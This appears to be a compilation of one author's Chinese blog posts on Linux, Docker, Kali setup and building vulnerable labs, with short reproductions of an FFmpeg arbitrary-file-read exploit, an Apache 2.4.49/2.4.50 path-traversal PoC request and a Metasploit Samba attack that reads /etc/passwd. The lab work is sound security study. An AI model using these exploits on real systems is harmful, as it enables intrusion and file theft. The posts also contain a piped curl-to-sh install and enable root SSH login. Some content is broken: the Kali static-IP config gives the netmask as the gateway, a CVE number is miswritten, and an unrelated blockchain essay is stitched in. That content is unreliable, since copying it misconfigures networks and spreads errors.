能力说明:
掌握CentOS和Ubuntu系统下如何安装和配置Docker,了解其底层原理。熟悉各种Docker容器命令,熟悉Docker镜像的制作和修改。
能力说明:
熟练掌握Linux常用命令、文件及用户管理、文本处理、Vim工具使用等,熟练掌握企业IP规划、子网划分、Linux的路由、网卡、以及其他企业级网络配置技术,可进行Web服务器(Nginx),以及数据库(My SQL)的搭建、配置、应用,可根据需求编写Shell脚本,通过常用工具进行linux服务器自动化运维。
随着互联网时代的发展,人们对于信息传输、安全性和可信度的要求也越来越高。在这种背景下,区块链技术应运而生。区块链技术是一种分布式账本技术,它可以让多个节点之间进行数据传输和验证,通过共识算法实现数据的去中心化存储和交易确认,从而保证了数据的安全性和可信度。本文将介绍区块链的基本原理、应用场景和未来发展方向。一、区块链的基本原理区块链的核心原理是分布式账本技术。传统的账本一般由一位中心化的管理者进行维护,而区块链技术则是将账本分散到多个节点上,每个节点都有权对账本进行修改和验证,从而实现了去中心化的存储和交易确认。具体来说,区块链技术是通过将数据分成多个区块进行存储和交易确认的。每个区块都包含了前一个区块的哈希值、交易记录和时间戳等信息,这些信息被加密后形成一个唯一的哈希值,从而保证了数据的安全性和完整性。整个区块链网络中的节点都通过共识算法来验证新的交易记录,并将其添加到区块链中。由于每个节点都有权对区块链进行修改和验证,所以即使有某些节点出现了故障或被攻击,整个网络仍然可以正常运行,从而保证了网络的稳定性和安全性。二、区块链的应用场景1、数字货币数字货币是区块链技术最重要的应用之一。比特币是最早的数字货币,它采用了区块链技术来保证交易的安全性和可信度。由于比特币的去中心化特点,它可以在全球范围内进行交易,而且交易费用非常低,因此在金融领域有着广泛的应用前景。2、供应链管理区块链技术可以有效地解决供应链管理中的信任问题。由于供应链中存在多个节点之间的数据传输和验证,因此通过区块链技术可以实现供应链管理的去中心化和透明化。例如,通过区块链技术可以记录每个产品的生产过程,从而确保产品的质量和安全。3、智能合约智能合约是一种自动化的合约,它可以在区块链上执行。智能合约可以根据预先设定的条件自动执行,从而减少了人为干预的风险。例如,智能合约可以用于保险业务中的理赔,当满足某些条件时,智能合约可以自动执行赔付程序,从而提高了交易的效率和可信度。三、区块链的未来发展方向随着区块链技术的不断发展,其应用场景也在不断扩大。未来,区块链技术有望在以下几个方面取得更大的突破:1、跨链技术跨链技术是指不同区块链之间进行数据传输和交互的技术。由于目前不同区块链之间的互通性还比较差,因此跨链技术的发展具有重要意义。未来,跨链技术有望实现不同区块链之间的数据共享和交易确认,从而进一步提高区块链的应用范围和效率。2、隐私保护技术隐私保护技术是指在区块链技术中保护个人隐私的技术。由于区块链技术的公开性,个人隐私往往难以得到保护。未来,隐私保护技术有望实现在区块链技术中保护个人隐私的同时,确保数据的安全性和可信度。3、量子计算技术量子计算技术是未来计算机技术的重要方向。由于量子计算机的计算速度非常快,因此可以在区块链技术中扮演重要角色。未来,量子计算技术有望实现更快的数据处理速度和更高的数据安全性。四、结语总之,区块链技术是一种分布式账本技术,它可以实现数据的去中心化存储和交易确认,从而保证了数据的安全性和可信度。区块链技术已经在数字货币、供应链管理和智能合约等领域取得了广泛应用,未来还有望在跨链技术、隐私保护技术和量子计算技术等方面取得更大的突破。
在此我将演示使用ESXI安装Deepin的步骤ESXI版本8.0Deepin版本23登陆ESXI后点击创建虚拟机选择创建新的虚拟填写名称和系统版本选择存储区域对配置进行更改开启虚拟机选择第一项选择语言选择安装方式点击重启即可创建用户名和密码
什么是LinuxLinux,全称GNU/Linux,是一种免费使用和自由传播的类UNIX操作系统,其内核由林纳斯·本纳第克特·托瓦兹于1991年10月5日首次发布,它主要受到Minix和Unix思想的启发,是一个基于POSIX的多用户、多任务、支持多线程和多CPU的操作系统。它能运行主要的Unix工具软件、应用程序和网络协议。它支持32位和64位硬件。Linux继承了Unix以网络为核心的设计思想,是一个性能稳定的多用户网络操作系统。Linux有上百种不同的发行版,如基于社区开发的debian、archlinux,和基于商业开发的Red Hat Enterprise Linux、SUSE、Oracle Linux等。常见的Linux发行版1.Debian广义的Debian是指一个致力于创建自由操作系统的合作组织及其作品,由于Debian项目众多内核分支中以Linux宏内核为主,而且Debian开发者 所创建的操作系统中绝大部分基础工具来自于GNU工程 ,因此 “Debian” 常指Debian GNU/Linux。非官方内核分支还有只支持x86的Debian GNU/Hurd(Hurd微内核),只支持amd64的Dyson(OpenSolaris混合内核)等。这些非官方分支都存在一些严重的问题,没有实用性,比如Hurd微内核在技术上不成熟,而Dyson则基础功能仍不完善。“Debian” 正式发音为 /ˈdɛ.bi.ən/ ,Debian 是国际化协作项目,官方未指定任何非英文名称。Debian GNU/Linux(简称Debian)是目前世界最大的非商业性Linux发行版之一,是由世界范围1000多名计算机业余爱好者和专业人员在业余时间制做。KaliLinux就是基于Debian的Linux系统。2.CentosCentOS是Community Enterprise Operating System的缩写,也叫做社区企业操作系统。是企业Linux发行版领头羊Red Hat Enterprise Linux(以下称之为RHEL)的再编译版本(是一个再发行版本),而且在RHEL的基础上修正了不少已知的 Bug ,相对于其他 Linux 发行版,其稳定性值得信赖。3.UbuntuUbuntu是一个以桌面应用为主的Linux操作系统,其名称来自非洲南部祖鲁语或豪萨语的“ubuntu"一词,意思是“人性”“我的存在是因为大家的存在",是非洲传统的一种价值观。Ubuntu基于Debian发行版和Gnome桌面环境,而从11.04版起,Ubuntu发行版放弃了Gnome桌面环境,改为Unity。从前人们认为Linux难以安装、难以使用,在Ubuntu出现后这些都成为了历史。Ubuntu也拥有庞大的社区力量,用户可以方便地从社区获得帮助。 自Ubuntu 18.04 LTS起,Ubuntu发行版又重新开始使用GNOME3桌面环境。4.Deepin(国产)深度操作系统是基于Linux内核,以桌面应用为主的开源GNU/Linux操作系统,支持笔记本、台式机和一体机。深度操作系统(deepin)包含深度桌面环境(DDE)和近30款深度原创应用,及数款来自开源社区的应用软件,支撑广大用户日常的学习和工作。另外,通过深度商店还能够获得近千款应用软件的支持,满足您对操作系统的扩展需求。深度操作系统由专业的操作系统研发团队和深度技术社区共同打造,其名称来自深度技术社区名称“deepin”一词,意思是对人生和未来深刻的追求和探索。 深度操作系统(deepin)是中国第一个具备国际影响力的Linux发行版本,截止至2019年7月25日,深度操作系统支持33种语言,用户遍布除了南极洲的其它六大洲。深度桌面环境(DDE)和大量的应用软件被移植到了包括Fedora、Ubuntu、Arch等十余个国际Linux发行版和社区。安装Centos7下载Centos7镜像下载地址国外 https://www.centos.org/download/ 国内 https://mirrors.ustc.edu.cn/centos/7.9.2009/isos/x86_64/CentOS-7-x86_64-DVD-2009.iso由于Centos7的下载地址在国外,下载速度很慢,我们可以使用国内的镜像仓库来进行下载中科大 http://mirrors.ustc.edu.cn/我们以中科大镜像仓库为例进行下载在文件列表找到Centos打开找到7.9版本选择ISOS选择x86-64选择第一项即可开始下载这里分为3个版本CentOS-7-x86_64-DVD-2009.isoDVD版本:默认大下,含有常用的软件CentOS-7-x86_64-Everything-2009.iso Everything版本:含有所有软件CentOS-7-x86_64-Minimal-2009.isoMinimal版本:只包含系统和基础软件CentOS-7-x86_64-NetInstall-2009.iso NetInstall版本:通过网络进行安装,安装过程需要联网下载虚拟机软件虚拟机是借助于CPU虚拟化功能实现的如要使用虚拟机需要进入BIOS打开CPU虚拟化,部分笔记本默认打开。常见的虚拟机软件有 WindowsHyper-V Oracle VM VirtualBox (开源免费,界面比较复杂,不适合新手)VMware Workstation Player (免费不开源)且有商业版本VMware Workstation Pro 而两者差别不大此教程所使用的软件为VMware Workstation Pro ,建议大家支持正版,下载正版有三十天的试用期(下载Pro版本会自带VMware Workstation Player无需重新下载)VMware Workstation Pro下载:https://www.vmware.com/cn/products/workstation-pro.htmlVMware Workstation Player版本下载:https://www.vmware.com/cn/products/workstation-player.html下载完成后创建虚拟机选择稍后安装操作系统版本选择centos7(64位)选择ISO文件创建完成后开启虚拟机开机后选择第一项,安装centos7进入安装程序后语言选择英语选择时区选择asia,shanghai选择需要安装的软件我们把基本的软件和开发工具给选择上选择安装磁盘选择自动分区开启网络打开后会显示你的IP地址点击开始安装即可设置root密码在这里需要多点两下done创建一个普通用户出现Reboot按钮代表安装完成,点击reboot按钮即可重启重启后选择第一项回车出现这个界面就代表已经安装完成了
漏洞描述2.8.12之前的FFmpeg、3.1.9之前的3.0.x和3.1.x、3.2.6之前的3.2.x和3.3.2之前的3.3.x未正确限制HTTP Live Streaming文件扩展名和解复用器名称,这允许攻击者通过特制的播放列表数据读取任意文件。环境搭建可以查看我的这篇文章https://developer.aliyun.com/article/1113693?spm=a2c6h.26396819.creator-center.8.22fb3e18sKKMLR目录为/vulhub-master/ffmpeg/phdays运行命令docker-compose build docker-compose up -d返回结果[root@localhost phdays]# docker-compose build web uses an image, skipping [root@localhost phdays]# docker-compose up -d Creating network "phdays_default" with the default driver Pulling web (vulhub/ffmpeg:3.2.4-with-php)... Trying to pull repository docker.io/vulhub/ffmpeg ... 3.2.4-with-php: Pulling from docker.io/vulhub/ffmpeg 3192219afd04: Pull complete a9edd0f1d92a: Pull complete a281efe2cee1: Pull complete Digest: sha256:3883006c9e8975361580e2634a78244da37214bda4e986b5b3c81a4b01d8c882 Status: Downloaded newer image for docker.io/vulhub/ffmpeg:3.2.4-with-php Creating phdays_web_1 ... done [root@localhost phdays]# docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 3e74cdeb6dce vulhub/ffmpeg:3.2.4-with-php "php -S 0.0.0.0:80..." 37 seconds ago Up 34 seconds 0.0.0.0:8080->8080/tcp phdays_web_1 靶机ip:192.168.0.11:8080载exp,并生成payload:漏洞复现下载expgit clone https://github.com/neex/ffmpeg-avi-m3u-xbincd ffmpeg-avi-m3u-xbin生成payload./gen_xbin_avi.py file:///etc/passwd exp.avi生成exp.avi,在http://your-ip:8080/上传。后端将会将你上传的视频用ffmpeg转码后显示,转码时因为ffmpeg的任意文件读取漏洞,可将文件信息读取到视频中
影响版本Apache 2.4.49Apache 2.4.50当前描述发现Apache HTTP Server 2.4.50中对CVE-221-41773的修复不足。攻击者可以使用路径遍历攻击将URL映射到Alias类指令配置的目录之外的文件。如果这些目录之外的文件不受通常默认配置“要求全部拒绝”的保护,这些请求可能会成功。如果还为这些别名路径启用了CGI脚本,这可能允许远程代码执行。此问题仅影响Apache 2.4.49和Apache 2.4.50,而不影响早期版本。环境搭建可以查看我的上一篇文章https://developer.aliyun.com/article/1113693?spm=a2c6h.26396819.creator-center.10.43283e1865liIz靶机ip:192.168.0.11:8080漏洞复现我们在kali中对靶场进行抓包BurpSuite抓到的包Poc:GET /icons/.%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd HTTP/1.1把捕获的数据包发送到repeater然后将坡村复制到数据包中然后发送复现完成
安装Docker在安装、使用Docker的过程中出现错误比较多,所以这一节来说明一下如何正确安装最新版本的Docker,(国内机器)并且配置加速器。一键安装Docker这是推荐方式。在未安装过Docker的机器上,root权限执行如下命令即可一键安装最新版Docker:curl -s https://get.docker.com/ | sh如果你已经安装过老版本Docker(且不是用这个一键安装脚本安装的),请先卸载Docker(例如sudo apt purge --autoremove docker.io)。如果你不想使用这种方式安装Docker,也可以使用系统自带的包管理工具来安装,比如在Ubuntu下:sudo apt install docker.io但包管理工具安装的Docker版本一般较老,有可能在使用Vulhub的时候会出现BUG(基本上下不会,但也不排除有的Docker版本过老的)。注意,docker是一个系统服务,所以,安装完成后可能需要手工启动服务:service start docker,否则会出现连接失败的情况。同样,如果docker没有自启动,你也需要手工启动docker服务。如果你是使用一键安装工具安装的docker,则docker会自动启动。安装docker-composeDocker-compose用于组合服务与内网。有部分环境涉及到多个容器,且不同环境开启的端口、目录也不相同,所以Vulhub选择使用docker-compose做环境一键化管理工具。用户不再需要学习docker命令的各种参数与用法,只需要简单地执行docker-compose up -d即可启动容器。Docker-compose基于Python开发,所以我们可以使用pip进行安装。安装PIP当然,如果你的环境中没有安装pip,还需要先安装pip。推荐使用如下命令进行安装,这种方式将会少安装很多不需要的依赖:yum -y install epel-release yum install python-pip安装docker-compose有pip后即可直接使用pip安装docker-compose:pip3 install docker-compose -i https://pypi.tuna.tsinghua.edu.cn/simple安装完成后,执行docker-compose -v,有返回则说明安装成功。下载Vulhub安装完成docker和docker-compose后,拉取Vulhub到本地任意目录即可:git clone https://github.com/vulhub/vulhub.git如果拉取速度太慢,可以直接下载master分支的压缩包:Vulhub.zip。启动漏洞环境docker-compose会自动查找当前目录下的配置文件(默认文件名为docker-compose.yml),并根据其内容编译镜像和启动容器。所以,要运行某个漏洞靶场,需要先进入该漏洞所在的目录。在Vulhub中选择某个环境,进入对应目录。如Flask服务端模板注入漏洞,我们进入flask/ssti目录:cd flask/ssti直接执行如下命令,进行漏洞靶场的编译和运行:# 可选 docker-compose build docker-compose up -d为什么docker-compose build是可选的?docker-compose up -d运行后,会自动查找当前目录下的配置文件。如果配置文件中包含的环境均已经存在,则不会再次编译;如果配置文件中包含的环境不存在,则会自动进行编译。所以,其实docker-compose up -d命令是包含了docker-compose build的。如果更新了配置文件,你可以手工执行docker-compose build来重新编译靶场环境。
KALI配置SSH连接配置SSH之前首先要设置静态IP。打开Kali输入你设置的账号密码进行登录在Kali中打开终端。快捷键ctrl + alt + t我们首先设置Root用户的密码sudo passwd root回车后需要首先输入用户的密码这个密码是不会显示的,输入完后回车就可以接下来设置root的密码,需要输入两遍通过su - root 切换到root用户编辑IP需要用到VIM工具,在这里先简单介绍一下vim 共分为三种模式,分别是命令模式(Command mode),输入模式(Insert mode)和底线命令模式(Last line mode)。进入vim默认就是命令模式按i键进入输入模式按esc键退出输入模式进入命令模式按:键进入底线命令模式在终端输入vim后出现这个界面代表有vim工具如果读者按照笔者的方式安装的Kali,是默认带有vim工具的打开之后我们进入底线命令模式退出按:q代表退出:q!强制退出:wq 保存退出看最底下的一行就是底线命令模式在终端进行操作时鼠标是无法对终端进行操作退出后查看自己的IP地址ip a由于我们的网卡是由VMware虚拟出来的我们要从虚拟机中查看ip网段编辑>虚拟网络编辑器选择VMnet8记住你的子网IP和子网掩码,192.168.245.0是网关所以我们要设置IP的话不能占用网关,所以我们设置IP为192.168.245.1,你的虚拟网络也有可能与笔者的不同,如果不同的话将子网IP和子网掩码改为与笔者相同即可。使用vim编辑编辑/etc/network/interfaces 文件,添加以下几行:auto eth0 iface eth0 inet static # 将eth0改为静态 address 192.168.245.1 #设置IP地址 netmask 255.255.255.0 #设置子网掩码 gateway 255.255.255.0 设置网关首先在终端中输入vim /etc/network/interfaces按i键进入编辑模式输入配置信息auto eth0 iface eth0 inet static # 将eth0改为静态 address 192.168.245.1 #设置IP地址 netmask 255.255.255.0 #设置子网掩码 gateway 255.255.255.0 设置网关按esc退出编辑模式按:wq回车保存退出重启后输入ip a即可查看ip为192.168.245.1在终端输入ping baidu.com查看是否能ping通按ctrl + c结束ping切换到root用户修改SSH配置文件允许root登录 vim /etc/ssh/sshd_config将PermitRootLogin prohibit-password前面的#删除可以在命令模式输入/PermitRootLogin prohibit-password进行搜索回车按i键直接编辑这一行将PermitRootLogin prohibit-password改成 PermitRootLogin yes 按esc退出编辑模式,按:wq保存退出即可 重启ssh 使配置生效systemctl restart ssh设置开机自启动sshsystemctl enable ssh输入systemctl status ssh查看是否运行Active一行有active表示已运行下载连接工具进行连接连接工具有Xshell,Putty,finalshell在这里推荐使用xshell,xshell的下载进入xshell官网https://www.xshell.com/zh/xshell/点击下载点击免费授权页面输入你的姓名和邮箱,选择两者,xftp可以是我们将windows的文件传输到kali中接下来去邮箱就可以看到下载链接打开Xshell点击新建名称填KALI主机填kali的ip地址,点击连接选择接受并保存用户名为root填写你设置的root密码点击确定这就成功连接了
github地址:https://github.com/ExpLangcn/FuYao-Go简要介绍自动化进行目标资产探测和安全漏洞扫描|适用于赏金活动、SRC活动、大规模使用、大范围使用|通过使用被动在线资源来发现网站的有效子域|通过强大且灵活的模板,模拟各种安全漏洞检查!安装我的安装环境为Linux安装命令为wget https://github.com/ExpLangcn/FuYao-Go/releases/download/V1.3.3/FuYao_Linux_amd.zip下载下来我们得到一个zip压缩包解压即可解压压缩包┌──(kali㉿kali)-[~] └─$ unzip FuYao_Linux_amd.zip Archive: FuYao_Linux_amd.zip creating: FuYao_Linux_amd/ inflating: FuYao_Linux_amd/config.yaml inflating: FuYao_Linux_amd/FuYao_Linux_amd 进入fuyao目录┌──(kali㉿kali)-[~] └─$ cd FuYao_Linux_amd 首先配置以下config.yaml首先在fofa的个人中心中获取自己的email和key填入config中,同时也支持shodan等工具运行┌──(kali㉿kali)-[~/FuYao_Linux_amd] └─$ ./FuYao_Linux_amd -h ███████╗██╗ ██╗██╗ ██╗ █████╗ ██████╗ ██╔════╝██║ ██║╚██╗ ██╔╝██╔══██╗██╔═══██╗ █████╗ ██║ ██║ ╚████╔╝ ███████║██║ ██║ 最新版本: 获取失败 ██╔══╝ ██║ ██║ ╚██╔╝ ██╔══██║██║ ██║ 当前版本: V1.3.3 ██║ ╚██████╔╝ ██║ ██║ ██║╚██████╔╝ Author: ExpLang ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ Discord: ExpLang#6666 Github:github.com/ExpLangcn/FuYao-Go 使用FuYao前请遵守当地法律,FuYao仅提供给教育行为使用 法律免责声明 本工具仅面向合法授权的企业安全建设行为,如您需要测试本工具的可用性,请自行搭建靶机环境。 在使用本工具进行检测时,您应确保该行为符合当地的法律法规,并且已经取得了足够的授权。请勿对非授权目标进行扫描。 如果发现上述禁止行为,我们将保留追究您法律责任的权利。 如您在使用本工具的过程中存在任何非法行为,您需自行承担相应后果,我们将不承担任何法律及连带责任. 您的使用行为或者您以其他任何明示或者默示方式表示接受本协议的,即视为您已阅读并同意本协议的约束。 Usage of ./FuYao_Linux_amd: -f string 指定根域目标文件 | 支持绝对路径和相对路径 -p string 指定漏洞文件夹 -st 是否输出详情,默认不输出 例如我对我的网站进行扫描的话只需要创建一个txt文件在里面写上域名在加上 -f 指向文件即可┌──(kali㉿kali)-[~/FuYao_Linux_amd] └─$ ./FuYao_Linux_amd -f list.txt 扫描结束后结果会放到rport目录下┌──(kali㉿kali)-[~/FuYao_Linux_amd] └─$ ./FuYao_Linux_amd -h ███████╗██╗ ██╗██╗ ██╗ █████╗ ██████╗ ██╔════╝██║ ██║╚██╗ ██╔╝██╔══██╗██╔═══██╗ █████╗ ██║ ██║ ╚████╔╝ ███████║██║ ██║ 最新版本: 获取失败 ██╔══╝ ██║ ██║ ╚██╔╝ ██╔══██║██║ ██║ 当前版本: V1.3.3 ██║ ╚██████╔╝ ██║ ██║ ██║╚██████╔╝ Author: ExpLang ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ Discord: ExpLang#6666 Github:github.com/ExpLangcn/FuYao-Go 使用FuYao前请遵守当地法律,FuYao仅提供给教育行为使用 法律免责声明 本工具仅面向合法授权的企业安全建设行为,如您需要测试本工具的可用性,请自行搭建靶机环境。 在使用本工具进行检测时,您应确保该行为符合当地的法律法规,并且已经取得了足够的授权。请勿对非授权目标进行扫描。 如果发现上述禁止行为,我们将保留追究您法律责任的权利。 如您在使用本工具的过程中存在任何非法行为,您需自行承担相应后果,我们将不承担任何法律及连带责任. 您的使用行为或者您以其他任何明示或者默示方式表示接受本协议的,即视为您已阅读并同意本协议的约束。 Usage of ./FuYao_Linux_amd: -f string 指定根域目标文件 | 支持绝对路径和相对路径 -p string 指定漏洞文件夹 -st 是否输出详情,默认不输出 ┌──(kali㉿kali)-[~/FuYao_Linux_amd] └─$ vim list.txt ┌──(kali㉿kali)-[~/FuYao_Linux_amd] └─$ ./FuYao_Linux_amd -f list.txt ███████╗██╗ ██╗██╗ ██╗ █████╗ ██████╗ ██╔════╝██║ ██║╚██╗ ██╔╝██╔══██╗██╔═══██╗ █████╗ ██║ ██║ ╚████╔╝ ███████║██║ ██║ 最新版本: 获取失败 ██╔══╝ ██║ ██║ ╚██╔╝ ██╔══██║██║ ██║ 当前版本: V1.3.3 ██║ ╚██████╔╝ ██║ ██║ ██║╚██████╔╝ Author: ExpLang ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ Discord: ExpLang#6666 Github:github.com/ExpLangcn/FuYao-Go 使用FuYao前请遵守当地法律,FuYao仅提供给教育行为使用 法律免责声明 本工具仅面向合法授权的企业安全建设行为,如您需要测试本工具的可用性,请自行搭建靶机环境。 在使用本工具进行检测时,您应确保该行为符合当地的法律法规,并且已经取得了足够的授权。请勿对非授权目标进行扫描。 如果发现上述禁止行为,我们将保留追究您法律责任的权利。 如您在使用本工具的过程中存在任何非法行为,您需自行承担相应后果,我们将不承担任何法律及连带责任. 您的使用行为或者您以其他任何明示或者默示方式表示接受本协议的,即视为您已阅读并同意本协议的约束。 [12-14 11:55:18] [INFO] FoFa获取到子域数: 0 invalid character '/' looking for beginning of value [12-14 11:55:18] [INFO] Quake获取到子域数: 0 [12-14 11:55:18] [INFO] Shodan获取到主域数: 0 [12-14 11:55:18] [INFO] Hunter本次消耗积分: [12-14 11:55:18] [INFO] Hunter今日剩余积分: [12-14 11:55:18] [INFO] Hunter获取到子域数: 0 [12-14 11:55:18] [INFO] 正在进行子域名探测,请耐心等待! [12-14 11:55:18] [INFO] 当前目标子域去重后数量: 4 [12-14 11:55:18] [INFO] 当前目标主域去重后数量: 1 [12-14 11:55:18] [SUCCESS] [Web] --> https://www.webidc.today:443 [12-14 11:55:18] [INFO] 当前存活站点数量: 3 [12-14 11:55:18] [INFO] 正在进行漏洞探测,请耐心等待! [12-14 11:55:18] [INFO] Fingerprint INFO 1503/1503 | 100% [12-14 11:55:18] [INFO] POC扫描结束,结果目录:reports/* ================================== 结束END ================================== [12-14 11:55:18] [INFO] 扫描结束,耗时: 2m7.760379377s
靶场环境:metasploitable2靶机地址:192.168.0.109攻击机地址:192.168.0.114首先打开kali,启动msf框架sudo msfdb run搜索漏洞模块选择要利用的模块:use exploit/multi/samba/usermap_script查看所需要设置的参数show options我们看到只需要设置RHOSTS(靶机地址)set rhosts 192.168.0.109开始攻击exploit攻击成功试着执行一下ls命令执行成功whoami查看当前权限为root查看靶机ip ip a查看敏感文件cat /etc/passwdctrl+c退出
安装KALI系统下载Kali系统的方法1.从官网下载下载链接:https://cdimage.kali.org/kali-2022.3/kali-linux-2022.3-installer-amd64.iso2.国内镜像仓库由于Kali的镜像仓库在国外,所以下载速度很慢。可以从国内的镜像仓库下载笔者推荐中国科技大学开源软件镜像https://mirrors.ustc.edu.cn/下载链接:https://iso.mirrors.ustc.edu.cn/kali-images/current/kali-linux-2022.3-installer-amd64.iso其他常见的镜像站: 清华大学开源软件镜像站https://mirror.tuna.tsinghua.edu.cn/阿里云开源镜像站https://developer.aliyun.com/mirror/还有很多大家可以参考这篇文章https://blog.csdn.net/hxt159753/article/details/1234844262.2.1 在VMware中安装Vmware分为两个版本一个为免费的player版本和付费的workation pro版本(付费版本包含player版本)专业版下载:https://www.vmware.com/cn/products/workstation-pro.html免费版本下载:https://www.vmware.com/cn/products/workstation-player.html打开VMware,选择创建新的虚拟机选择典型:选择Linux版本为Debian 11 64位为虚拟机命名分配磁盘大小,这种分配方式是用多少占用多少,最多50GB,因为我使用的是ESXI的虚拟化,大家可能看到的界面有一点不一样,但其他的都是相同的。选择自定义硬件选择新CD/DVD使用ISO影响文件,选择你下载的KALI镜像点击关闭即可。关闭之后点击完成如果没有创建后开启此虚拟机选项,创建完成后点击开启此虚拟机即可打开之后就会出现系统的引导选择第一项Graphical install 图形化安装回车即可进入安装程序语言选择英文,因为Armitage软件无法在中文下运行点击Continue(继续)选择你现在的位置选择other >Asia> China > 出现这个页面直接回车即可默认即可。设置hostname设置域名。随便填设置用户名设置密码磁盘分区选择第一项使用整块硬盘这就是我们设置的50GB的虚拟硬盘这边出现了三个选项1.将所有文件放在一起适合新手2.单独把/home分出来3.把/home /var /tmp分出来我建议选择第一项这句翻译过来是创建完成并写入硬盘在这里问你是否要写入硬盘要选择yes。默认是no如果选择no将会重新进入上一步接下来开始安装基本系统这里选择软件默认即可第一个是问你是否需要桌面环境,默认是勾选的下面三个Xfce,gnome ,KDE只能选择一个如果都选择则无法进入系统把最底下的三个选项都选择上,默认是选择上的分别为信息收集工具,最受欢的十个工具,推荐的工具。继续即可选择yes安装grub引导选择第二项出现这个界面代表安装完成,点击reboot重启就可以进入系统这种安装方式比较麻烦大家可以去KALI官网下载虚拟机版本的系统直接导入就可以用了虚拟机版本的下载链接https://kali.download/virtual-images/kali-2022.3/kali-linux-2022.3-vmware-amd64.7z
搭建靶场环境我们将通过Docker来搭建靶场首先我们需要下载Centos7来安装Docker,下载链接https://mirrors.ustc.edu.cn/centos/7.9.2009/isos/x86_64/CentOS-7-x86_64-DVD-2009.iso下载完成后创建虚拟机版本选择centos7(64位)选择ISO文件在这个页面选择第一项安装centos虚拟机在这个页面按回车才会继续语言选择英文在这里选择软件源选择安装的磁盘选择网络登录账号root密码你在安装时设置的密码配置常用软件yum install vim curl wget lrzsz设置静态IPip a查看网卡名称可以看到笔者的网卡名为ens33使用vim编辑网卡文件网卡文件的名字为ifcfg-[你的网卡名称]例如笔者的网卡文件为ifcfg-ens33使用vim编辑网卡文件vim /etc/sysconfig/network-scripts/[你的网卡文件]保存退出重启网卡即可重启网卡service network restart开启ssh服务systemctl start sshd设置ssh开机自启动systemctl enable sshd查看ssh的状态systemctl status sshd通过xshell连接安装Dockeryum install -y docker开启dockersystemctl start docker设置开机自启动systemctl enable docker查看docker当前的状态systemctl status docker 配置docker国内镜像仓库(免费的)打开阿里云https://cn.aliyun.com/sudo mkdir -p /etc/docker sudo tee /etc/docker/daemon.json <<-'EOF' { "registry-mirrors": ["你的阿里云加速网址"] } EOF sudo systemctl daemon-reload sudo systemctl restart docker 输入docker info即可看到自己换的源docker info2.4.1搭建DVWA,SQL注入,Pikachu靶场什么是DVWADAMN VULNERABLE WEB APPLICATIONDamn Vulnerable Web Application (DVWA)(译注:可以直译为:"该死的"不安全Web应用网站),是一个编码糟糕的、易受攻击的 PHP/MySQL Web应用程序。 它的主要目的是帮助安全专业人员在合法的环境中,测试他们的技能和工具,帮助 Web 开发人员更好地了解如何增强 Web 应用程序的安全性,并帮助学生和教师在受控的课堂环境中,了解 Web 应用程序的安全。DVWA的具体目标是通过简单明了的界面,来演练一些最常见的 Web 漏洞,这些漏洞具有不同的难度级别。 请注意,此软件存在说明和未说明的漏洞。 这是故意的。 我们鼓励您尝试并发现尽可能多的安全问题。警告!DVWA十分易受攻击! 不要将其上传到您的云服务器的公共 html 文件夹或任何面向 Internet 的服务器,因为它们会受到危害。 建议使用虚拟机(如VirtualBox 或VMware),设置为NAT组网方式。在客机(guest machine)中,您可以下载并安装 XAMPP 作为 Web 服务器和数据库。免责声明我们不对任何人使用此应用程序 (DVWA) 的方式负责。 我们已经明确了应用程序的目的,不应被恶意使用。 我们已发出警告并采取措施防止用户将 DVWA 安装到实际生产运行的 Web 服务器上。 如果您的 Web 服务器因安装 DVWA 而受到损害,这不是我们的责任,而是上传和安装它的人的责任。许可该文件是Damn Vulnerable Web Application (DVWA) 的一部分。Damn Vulnerable Web Application (DVWA)是自由软件:您可以根据自由软件基金会发布的 GNU 通用公共许可证(许可证的第 3 版,或(由您选择的)任何更高版本)重新分发和/或修改。Damn Vulnerable Web Application (DVWA) 的发布是为了希望它有用,但不(对"有用性")做任何保证; 甚至不对适销性(MERCHANTABILITY)或针对特定目的的适用性(FITNESS FOR A PARTICULAR PURPOSE)的做任何暗示保证。 有关更多详细信息,请参阅 GNU 通用公共许可证。您应该已经随Damn Vulnerable Web Application (DVWA)收到一份GNU通用公共许可证。 如果没有,请参阅 https://www.gnu.org/licenses/。通过Docker拉取DVWA镜像docker pull vulnerables/web-dvwa执行docker images查看是否拉取成功运行DVWA靶场docker run --rm -it -p 80:80 vulnerables/web-dvwa出现这个页面代表运行成功在浏览器输入你的IP:80即可打开DVWA靶场账号名为:admin密码为:password进入该页面后点击Create/Reset Database点击之后会自动跳转到登录界面输入账号密码登录即可来到这个界面我们的DVWA靶机就已经搭建完成了搭建pilachu靶场下载pikachu靶场的文件git clone https://github.com/zhuifengshaonianhanlu/pikachu.git进入pikachu靶场文件目录lscd pikachu/编译pikachu文件docker build -t "pikachu" .运行pikachudocker run -d -p8080:80 pikachu在浏览器中输入http://Centos7IP:8080/即可打开这里提示还没有初始化点击即可初始化至此pikachu靶场搭建完成2.4.2搭建OWASP靶机OWASP靶机下载地址https://sourceforge.net/projects/owaspbwa/files/由于下载地址在国外,速度很慢笔者上传到了阿里云盘(不限速),https://www.aliyundrive.com/s/79YqoGsMkWx大家下载之后在Vmware中打开即可选择.vmx文件打开点击开启此虚拟机选择我已复制该虚拟机账号名为root,密码为owaspbwa登陆后执行ip a查看ip地址这样我们的owasp靶机就已经搭建成功了。在浏览器输入靶机地址即可访问。点击+号即可查看靶场的详细信息。
为KALI进行更新由于kali的软件仓库在国外,更新很慢,我们需要将kali的软件源更换为国内的软件源,推荐中科大的源编辑 /etc/apt/sources.list 文件, 在文件最前面添加以下条目:deb https://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib deb-src https://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib更改完 sources.list 文件后请运行 sudo apt-get update 更新索引以生效。我们已经配置了ssh可以直接通过ssh进行更换vim /etc/apt/sources.list 按i键进入编辑模式,在文件的最前面粘贴deb https://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib deb-src https://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib即可按esc退出编辑模式,按:wq保存退出接下来输入apt update更新源┌──(root㉿192)-[~] └─# apt update Get:1 https://mirrors.ustc.edu.cn/kali kali-rolling InRelease [30.6 kB] Get:2 https://mirrors.ustc.edu.cn/kali kali-rolling/main 